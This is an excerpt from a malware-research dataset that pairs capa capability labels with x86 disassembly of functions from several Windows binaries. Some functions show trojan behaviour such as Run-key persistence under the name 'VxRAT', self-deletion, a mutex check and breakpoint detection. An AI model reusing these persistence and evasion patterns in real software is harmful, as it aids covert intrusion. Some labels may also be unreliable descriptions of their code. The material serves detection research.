joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404940
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407a80
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x2a4
mov eax, dword [0x40c008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x228]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x40
lea eax, [ebp - 0x284]
mov dword [ebp - 0x288], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x25c], 1
xor eax, eax
mov dword [ebp - 0x22c], 7
mov dword [ebp - 0x240], eax
lea ecx, [ebp - 0x240]
mov word [ebp - 0x258], ax
push 0x14
push 0x409508
mov dword [ebp - 0x230], eax
mov word [ebp - 0x240], ax
call fcn.00402240
lea eax, [ebp - 0x228]
mov dword [ebp - 4], 0
push eax
lea edx, [ebp - 0x240]
lea ecx, [ebp - 0x2b4]
call fcn.004023a0
mov esi, eax
add esp, 4
lea eax, [ebp - 0x240]
cmp eax, esi
je 0x404a9e
mov edx, dword [ebp - 0x22c]
cmp edx, 8
jb 0x404a5d
mov ecx, dword [ebp - 0x240]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404a53
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ad0
push edx
push ecx
call fcn.00406d23
add esp, 8
mov dword [ebp - 0x230], 0
xor eax, eax
mov dword [ebp - 0x22c], 7
mov word [ebp - 0x240], ax
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x240], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x230], xmm0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 7
mov word [esi], ax
mov edx, dword [ebp - 0x2a0]
cmp edx, 8
jb 0x404ae0
mov ecx, dword [ebp - 0x2b4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404ad6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404ad6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00406d23
add esp, 8
cmp dword [ebp - 0x22c], 8
lea ecx, [ebp - 0x298]
push ecx
lea ecx, [ebp - 0x288]
push ecx
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x240]
cmovae eax, dword [ebp - 0x240]
push 0
push eax
push 0x4094cc
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, dword [ebp - 0x22c]
test eax, eax
setne al
mov byte [ebp - 0x299], al
cmp edx, 8
jb 0x404b6d
mov ecx, dword [ebp - 0x240]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404b5d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404b5d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00406d23
mov al, byte [ebp - 0x299]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00406a94
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x404b90
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push str.Global_f3di006_gmail.com
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x404bb4
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x404bc9
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x404bd0
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x40c008]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x23c], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x220]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp - 0x23c]
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
je 0x404c42
mov eax, dword [ebp - 0x224]
push eax
push str.Failed_to_create_registry_key._Error_code:__d_n
call fcn.00401720
add esp, 8
jmp 0x404df0
mov dword [ebp - 0x234], str.VxRAT
mov dword [ebp - 0x21c], 0
lea ecx, [ebp - 0x21c]
push ecx
push 0
lea edx, [ebp - 0x214]
push edx
push 0
mov eax, dword [ebp - 0x234]
push eax
mov ecx, dword [ebp - 0x220]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
jne 0x404d4f
cmp dword [ebp - 0x214], 1
jne 0x404d4f
cmp dword [ebp - 0x21c], 0
jbe 0x404d4f
mov edx, dword [ebp - 0x21c]
push edx
call fcn.00406d31
add esp, 4
mov dword [ebp - 0x240], eax
mov eax, dword [ebp - 0x240]
mov dword [ebp - 0x22c], eax
lea ecx, [ebp - 0x21c]
push ecx
mov edx, dword [ebp - 0x22c]
push edx
lea eax, [ebp - 0x214]
push eax
push 0
mov ecx, dword [ebp - 0x234]
push ecx
mov edx, dword [ebp - 0x220]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
jne 0x404d4a
mov eax, dword [ebp - 0x22c]
mov dword [ebp - 0x238], eax
mov ecx, dword [ebp - 0x238]
push ecx
call fcn.00406d5d
add esp, 4
cmp dword [ebp - 0x238], 0
jne 0x404d34
mov dword [ebp - 0x244], 0
jmp 0x404d4a
mov dword [ebp - 0x22c], 0x8123
mov edx, dword [ebp - 0x22c]
mov dword [ebp - 0x244], edx
jmp 0x404de3
push 0x104
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x228], ecx
mov edx, dword [ebp - 0x228]
add edx, 2
mov dword [ebp - 0x248], edx
mov eax, dword [ebp - 0x228]
mov cx, word [eax]
mov word [ebp - 0x22e], cx
add dword [ebp - 0x228], 2
cmp word [ebp - 0x22e], 0
jne 0x404d7e
mov edx, dword [ebp - 0x228]
sub edx, dword [ebp - 0x248]
sar edx, 1
mov dword [ebp - 0x24c], edx
mov eax, dword [ebp - 0x24c]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x210]
push edx
push 1
push 0
mov eax, dword [ebp - 0x234]
push eax
mov ecx, dword [ebp - 0x220]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x224], eax
mov edx, dword [ebp - 0x220]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406a94
mov esp, ebp
pop ebp
ret
Function at 0x401d5a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 8]
push esi
push eax
push 0x20019
xor esi, esi
push esi
push str.SoftwareAutoIt_v3AutoIt
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401e97
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push esi
push 0x2001f
push esi
push 0x415718
push esi
push str.SoftwareAutoIt_v3AU3Info
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
push 4
pop ebx
push ebx
push 0x41a060
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push str.WinX
push dword [ebp - 4]
call esi
push ebx
push 0x41a064
push ebx
push 0
push str.WinY
push dword [ebp - 4]
call esi
push ebx
push 0x41a068
push ebx
push 0
push str.WinW
push dword [ebp - 4]
call esi
push ebx
push 0x41a06c
push ebx
push 0
push str.WinH
push dword [ebp - 4]
call esi
push ebx
push 0x41a050
push ebx
push 0
push str.CoordMode
push dword [ebp - 4]
call esi
push ebx
push 0x41a070
push ebx
push 0
push str.ControlFindMode
push dword [ebp - 4]
call esi
push ebx
push 0x41a054
push ebx
push 0
push str.HighlightControls
push dword [ebp - 4]
call esi
push ebx
push 0x41a05c
push ebx
push 0
push str.Magnify
push dword [ebp - 4]
call esi
push ebx
push 0x41a058
push ebx
push 0
push str.AlwaysOnTop
push dword [ebp - 4]
call esi
push ebx
push 0x41a074
push ebx
push 0
push str.HighlightColor
push dword [ebp - 4]
call esi
push ebx
push 0x41a078
push ebx
push 0
push str.LastTab
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4028ac
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push edi
cmp dword [0x41a528], esi
jbe 0x402939
mov eax, dword [0x41a524]
mov ecx, dword [eax + esi*4]
mov eax, dword [ecx + 4]
test eax, eax
je 0x402930
cmp dword [ecx + 0x18], 0xffffffff
je 0x402930
mov edx, dword [ebp + 8]
cmp dword [ecx + 0x18], edx
jne 0x402914
push 4
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x41a524]
push 1
mov eax, dword [eax + esi*4]
push dword [eax + 4]
call dword [sym.imp.USER32.dll_EnableWindow]
mov eax, dword [0x41a524]
mov eax, dword [eax + esi*4]
mov edi, dword [eax + 4]
push edi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x402930
mov ecx, edi
call fcn.004040a3
jmp 0x402930
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x41a524]
push 0
mov eax, dword [eax + esi*4]
push dword [eax + 4]
call dword [sym.imp.USER32.dll_EnableWindow]
inc esi
cmp esi, dword [0x41a528]
jb 0x4028bc
pop edi
pop esi
pop ecx
pop ebp
ret 4
Function at 0x404200
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x40422f
push esi
call fcn.00409620
add esp, 4
cmp byte [esi + 0x40], 0
je 0x404228
mov dword [esi + 0x14], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x4042a9
mov eax, dword [esi + 0x190]
cmp byte [eax + 0x10], 0
je 0x404299
mov eax, dword [esi + 8]
test eax, eax
je 0x404254
mov ecx, dword [eax]
push esi
call ecx
add esp, 4
mov edx, dword [esi + 0x190]
mov eax, dword [edx]
push esi
call eax
add esp, 4
test eax, eax
je 0x404295
cmp eax, 2
je 0x404299
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x404245
cmp eax, 3
je 0x40427c
cmp eax, 1
jne 0x404245
inc dword [ecx + 4]
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
cmp ecx, dword [eax + 8]
jl 0x404245
mov edx, dword [esi + 0x11c]
add dword [eax + 8], edx
jmp 0x404245
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
mov dword [esi + 0x84], eax
call fcn.00403fd0
pop esi
ret
cmp eax, 0xcc
je 0x4042cb
mov ecx, dword [esi]
mov dword [ecx + 0x14], 0x14
mov edx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [edx + 0x18], eax
mov ecx, dword [esi]
mov edx, dword [ecx]
push esi
call edx
add esp, 4
call fcn.00403fd0
pop esi
ret
Function at 0x41f4d0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x18
push esi
push edi
mov edi, dword [esp + 0x24]
cmp dword [edi + 0x4c], 1
mov esi, dword [edi + 0x1a8]
mov dword [esp + 0x18], esi
jne 0x41f4f7
mov dword [esp + 8], 0x1fe
mov byte [esi + 0x1c], 1
jmp 0x41f503
mov dword [esp + 8], 0
mov byte [esi + 0x1c], 0
mov ecx, dword [edi + 0x64]
mov edx, dword [esp + 8]
mov eax, dword [edi + 4]
mov eax, dword [eax + 8]
push ecx
add edx, 0x100
push edx
push 1
push edi
call eax
xor ecx, ecx
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x14]
add esp, 0x10
cmp dword [edi + 0x64], ecx
mov dword [esp + 0x14], ecx
jle 0x41f616
push ebx
lea edx, [esi + 0x20]
push ebp
mov dword [esp + 0x14], edx
jmp 0x41f548
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
mov edi, dword [edx]
cdq
idiv edi
cmp dword [esp + 0x10], 0
mov dword [esp + 0x18], eax
je 0x41f569
mov eax, dword [esi + 0x18]
add dword [eax + ecx*4], 0xff
lea eax, [eax + ecx*4]
mov edx, dword [esi + 0x18]
mov ebp, dword [edx + ecx*4]
lea eax, [edi + 0xfe]
lea esi, [edi + edi - 2]
cdq
idiv esi
xor ebx, ebx
mov dword [esp + 0x24], ebp
xor esi, esi
mov edx, eax
cmp esi, edx
jle 0x41f5bf
mov ecx, ebx
lea ebp, [edi + edi - 2]
imul ecx, ecx, 0x1fe
jmp 0x41f5a0
add ecx, 0x1fe
lea eax, [ecx + edi + 0xfe]
cdq
idiv ebp
inc ebx
mov edx, eax
cmp esi, edx
jg 0x41f5a0
mov ecx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x24]
mov al, byte [esp + 0x18]
imul bl
mov byte [esi + ebp], al
inc esi
cmp esi, 0xff
jle 0x41f586
cmp dword [esp + 0x10], 0
je 0x41f5fd
mov eax, 1
lea edx, [ebp - 1]
movzx ebx, byte [ebp]
mov byte [edx], bl
movzx ebx, byte [ebp + 0xff]
mov byte [eax + ebp + 0xff], bl
inc eax
dec edx
cmp eax, 0xff
jle 0x41f5e0
mov eax, dword [esp + 0x2c]
add dword [esp + 0x14], 4
inc ecx
cmp ecx, dword [eax + 0x64]
mov dword [esp + 0x1c], ecx
jl 0x41f540
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x18
ret

Function at 0x435910
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5b43df
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.00570bdc
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 6
test eax, eax
je 0x43599b
push eax
push esi
call fcn.00571189
mov ecx, dword [ebp - 0xc]
add esp, 8
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.00570db7
int3
Function at 0x4385d0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x190
push 0x6c5490
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
cmp eax, 1
jne 0x438604
lea eax, [esp]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
push eax
push 0x6c5494
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov esp, ebp
pop ebp
ret
Function at 0x453d30
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x18
push ebx
push esi
push edi
lea eax, [esp + 0x14]
mov bl, 1
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
xor bh, bh
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
sete byte [esp + 0x13]
test eax, eax
jne 0x453db9
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 4
push eax
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push str.SoftwareSASGeneration
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x453d97
cmp dword [esp + 0x18], 3
mov bh, bl
jne 0x453d97
xor bl, bl
jmp 0x453db9
push 4
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 3
push eax
push 4
push 0
push str.SoftwareSASGeneration
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.sas.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x453de0
push str.SendSAS
push eax
call edi
test eax, eax
je 0x453de0
push 0
call eax
push str.wmsgapi.dll
call esi
mov esi, eax
test esi, esi
je 0x453e22
push str.WmsgSendMessage
push esi
call edi
mov edi, eax
test edi, edi
je 0x453e1b
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0
push eax
push 0
push 0x208
push ecx
call fcn.00453f10
add esp, 4
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 0x64
call dword [sym.imp.KERNEL32.dll_SleepEx]
cmp byte [esp + 0x13], 0
je 0x453e7f
test bh, bh
jne 0x453e57
push str.SoftwareSASGeneration
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
add esp, 0x18
ret
test bl, bl
je 0x453e75
push 4
lea eax, [esp + 0x1c]
push eax
push 4
push 0
push str.SoftwareSASGeneration
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
add esp, 0x18
ret
Function at 0x456550
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5b632b
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push esi
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
jne 0x4565ef
push ecx
lea ecx, [ebp - 0xd8]
call fcn.00457390
mov edx, str._hSCManager2
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0xc8]
call fcn.0044d510
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0xd8]
call fcn.004572c0
push 0x266
mov edx, str.Service.cpp
mov byte [ebp - 4], 1
mov ecx, eax
call fcn.004d1220
add esp, 4
lea ecx, [ebp - 0x24]
call fcn.004470b0
lea ecx, [ebp - 0xd8]
call fcn.00454000
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x10
push str.AeroadminService
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x45667a
push ecx
lea ecx, [ebp - 0x188]
call fcn.00457390
mov edx, str._hService2
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x178]
call fcn.0044d510
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x188]
call fcn.004572c0
push 0x26d
mov edx, str.Service.cpp
mov byte [ebp - 4], 3
mov ecx, eax
call fcn.004d1220
add esp, 4
lea ecx, [ebp - 0x24]
call fcn.004470b0
lea ecx, [ebp - 0x188]
call fcn.00454000
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
call esi
push ebx
call esi
mov ecx, dword [ebp - 0xc]
cmp edi, 1
pop edi
pop esi
sete al
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x456880
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5b6358
push eax
mov dword fs:[0], esp
sub esp, 0xd8
cmp byte [0x6d6398], 0
push esi
jne 0x456990
xor esi, esi
mov byte [0x6d6398], 1
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], esi
push eax
mov word [ebp - 0x10], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x456951
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ecx
lea ecx, [ebp - 0xe0]
mov esi, eax
call fcn.00457390
mov edx, str.IsRunAsAdmin_error
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xd0]
call fcn.0044d510
push esi
mov ecx, eax
call fcn.00446940
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0xe0]
call fcn.004572c0
push 0x2b0
mov edx, str.Service.cpp
mov byte [ebp - 4], 1
mov ecx, eax
call fcn.004d1220
add esp, 4
lea ecx, [ebp - 0x30]
call fcn.004470b0
lea ecx, [ebp - 0xe0]
call fcn.00454000
jmp 0x45696d
push 0x6d6394
push dword [ebp - 0x18]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x45696d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x45697b
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
test esi, esi
je 0x456990
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
cmp dword [0x6d6394], 1
mov ecx, dword [ebp - 0xc]
sete al
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4569b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5b6390
push eax
mov dword fs:[0], esp
lea eax, [ebp - 0x338]
sub esp, 0x32c
push ebx
push esi
push 0x104
push eax
push 0
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x4569fc
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x38
lea eax, [ebp - 0x78]
mov dword [ebp - 0x7c], 0x3c
push 0
push eax
call fcn.00585a40
add esp, 0xc
mov dword [ebp - 0x28], 0
lea eax, [ebp - 0x338]
mov dword [ebp - 0x70], str.runas
mov dword [ebp - 0x6c], eax
lea ecx, [ebp - 0x28]
xor eax, eax
mov dword [ebp - 0x18], 0
push 2
push 0x5e7ddc
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.004496e0
mov dword [ebp - 4], 0
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x456a5e
mov eax, dword [esi]
push dword [esi + 0x10]
lea ecx, [ebp - 0x28]
push eax
call fcn.0044bde0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
mov dword [ebp - 0x74], 0
cmovae eax, dword [ebp - 0x28]
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x60], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
cmp eax, 1
push ecx
sete bl
lea ecx, [ebp - 0x130]
mov byte [ebp - 0x10], bl
call fcn.00446140
mov edx, str.RestartAsAdmin:
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x120]
call fcn.00457840
cmp dword [esi + 0x14], 8
mov ecx, dword [esi + 0x10]
jb 0x456ac4
mov esi, dword [esi]
push ecx
mov edx, esi
mov ecx, eax
call fcn.0044fe30
add esp, 4
mov edx, str.__res_
mov ecx, eax
call fcn.00457840
push dword [ebp - 0x10]
mov ecx, eax
call fcn.00456bb0
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x118]
call fcn.004492b0
push 0x2df
mov edx, str.Service.cpp
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x40]
call fcn.004d1c90
mov ecx, dword [ebp - 0x2c]
add esp, 4
cmp ecx, 8
jb 0x456b45
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x456b3b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x456b98
push ecx
push edx
call fcn.00583877
add esp, 8
lea ecx, [ebp - 0x130]
call fcn.0043b280
mov ecx, dword [ebp - 0x14]
cmp ecx, 8
jb 0x456b86
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x456b7c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x456b9d
push ecx
push edx
call fcn.00583877
add esp, 8
mov ecx, dword [ebp - 0xc]
mov al, bl
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00591c98
call fcn.00591c98
int3